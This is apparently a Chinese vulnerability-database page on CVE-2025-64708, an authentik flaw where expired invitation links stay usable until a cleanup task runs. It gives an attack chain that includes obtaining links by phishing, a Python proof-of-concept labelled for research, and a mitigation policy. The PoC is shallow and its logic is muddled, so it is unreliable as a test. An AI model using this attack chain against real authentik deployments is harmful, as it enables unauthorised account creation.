IPBUF安全漏洞报告
English
CVE-2025-64708 CVSS 5.8 中危

CVE-2025-64708 authentik邀请链接过期验证缺陷漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-64708
漏洞类型
访问控制绕过
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
authentik

相关标签

authentik身份提供者访问控制绕过邀请链接过期验证缺陷CVE-2025-64708逻辑漏洞

漏洞概述

authentik是一个开源身份提供者(Identity Provider)。在2025.8.5和2025.10.2之前的版本中,存在一个邀请链接(invitation)过期验证缺陷漏洞。该漏洞允许攻击者利用已过期的邀请链接进行身份验证操作。具体问题在于:系统中的邀请链接在过期后仍然被认为是有效的,虽然系统有后台任务定期清理已过期的邀请对象,但这个清理机制存在时间窗口。在正常情况下,清理任务每5分钟执行一次,这意味着在邀请链接过期后的5分钟内,该链接仍然可以使用。当系统后台任务队列积压较大时,这个时间窗口可能会更长。攻击者可以利用这个时间差,在邀请链接过期后但尚未被清理前,继续使用该链接进行未授权访问或身份验证操作。这可能导致敏感信息泄露或未授权账户创建等安全问题。

技术细节

该漏洞属于访问控制绕过类型的逻辑缺陷。在authentik的邀请流程中,邀请链接的验证逻辑存在以下问题:1) 邀请链接的有效期检查依赖于后台清理任务,而非实时验证;2) 清理任务调度间隔为5分钟,存在5分钟的有效期检查空白期;3) 当任务队列积压时,这个时间窗口会进一步延长。攻击者可以通过以下方式利用此漏洞:首先获取一个有效的邀请链接,然后在邀请链接过期后(但清理任务执行前),继续使用该链接完成邀请流程。由于系统未在邀请使用前实时检查有效期,攻击者可以绕过邀请的有效期限制。此漏洞的利用需要攻击者已经获取到有效的邀请链接(如通过社工或其他方式获取),并且需要在链接过期后的清理时间窗口内完成利用。

攻击链分析

STEP 1
步骤1
攻击者获取有效的authentik邀请链接(通过社工、钓鱼或其他方式)
STEP 2
步骤2
等待或主动触发邀请链接过期(超过TTL有效期)
STEP 3
步骤3
在后台清理任务执行前(5分钟内或更长),尝试使用已过期的邀请链接
STEP 4
步骤4
系统未实时验证邀请有效期,接受已过期的邀请请求
STEP 5
步骤5
攻击者完成邀请流程,创建未授权账户或获取未授权访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64708 PoC - authentik invitation expiration bypass # This PoC demonstrates the invitation expiration validation issue import requests import time from datetime import datetime, timedelta TARGET_URL = "https://authentik.example.com" INVITATION_CODE = "your-invitation-code-here" def check_invitation_status(): """Check if an invitation is still valid after expiration""" # Step 1: Create an invitation (normally expires immediately) create_url = f"{TARGET_URL}/api/v3/invitations/" # Step 2: Wait for invitation to expire (past TTL) print("[*] Waiting for invitation to expire...") time.sleep(360) # Wait 6 minutes (past typical cleanup interval) # Step 3: Try to use expired invitation use_url = f"{TARGET_URL}/api/v3/invitations/{INVITATION_CODE}/" response = requests.get(use_url) if response.status_code == 200: data = response.json() print(f"[!] Invitation still valid after expiration check") print(f"[!] Created: {data.get('created')}") print(f"[!] Expired but not cleaned up - vulnerability confirmed") return True return False def exploit_invitation_bypass(): """Exploit the invitation expiration bypass vulnerability""" print("[*] CVE-2025-64708 - authentik Invitation Expiration Bypass") print("[*] Target: ", TARGET_URL) # Check if expired invitation still works if check_invitation_status(): print("[+] Vulnerability confirmed: Expired invitations remain valid") print("[+] Attack window: Up to 5+ minutes after expiration") else: print("[-] Invitation properly invalidated") if __name__ == "__main__": exploit_invitation_bypass()

影响范围

authentik < 2025.8.5
authentik < 2025.10.2

防御指南

临时缓解措施
在无法立即升级的情况下,可通过创建访问策略显式检查邀请链接的有效期,并将该策略绑定到邀请流程的邀请阶段,当邀请无效时拒绝访问。具体操作:在authentik管理界面创建策略,策略类型选择"Expression Policy",编写表达式检查invitation.created和当前时间的时间差,拒绝超过有效期的邀请,然后将此策略绑定到邀请流程的邀请阶段(Invitation Stage)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表